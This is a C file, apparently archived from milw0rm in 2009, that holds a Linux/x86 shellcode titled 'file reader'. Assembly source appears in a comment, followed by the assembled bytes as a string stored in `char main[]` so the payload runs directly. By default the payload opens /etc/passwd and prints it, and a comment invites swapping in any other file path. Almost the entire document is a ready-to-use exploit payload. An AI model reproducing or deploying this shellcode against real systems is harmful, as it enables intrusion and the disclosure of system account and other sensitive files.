66 lines
No EOL
943 B
C
66 lines
No EOL
943 B
C
/*
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Linux/x86 file reader.
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65 bytes + pathname
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Author: certaindeath
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Source code:
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_start:
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xor %eax, %eax
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xor %ebx, %ebx
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xor %ecx, %ecx
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xor %edx, %edx
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jmp two
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one:
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pop %ebx
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movb $5, %al
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xor %ecx, %ecx
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int $0x80
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mov %eax, %esi
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jmp read
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exit:
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movb $1, %al
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xor %ebx, %ebx
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int $0x80
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read:
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mov %esi, %ebx
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movb $3, %al
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sub $1, %esp
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lea (%esp), %ecx
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movb $1, %dl
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int $0x80
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xor %ebx, %ebx
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cmp %eax, %ebx
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je exit
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movb $4, %al
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movb $1, %bl
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movb $1, %dl
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int $0x80
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add $1, %esp
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jmp read
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two:
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call one
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.string "file_name"
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*/
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char main[]=
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"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
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"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
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"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
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"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
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"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
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"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
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"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
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"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
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"\xff"
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"/etc/passwd"; //Put here the file path, default is /etc/passwd
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// milw0rm.com [2009-02-27]
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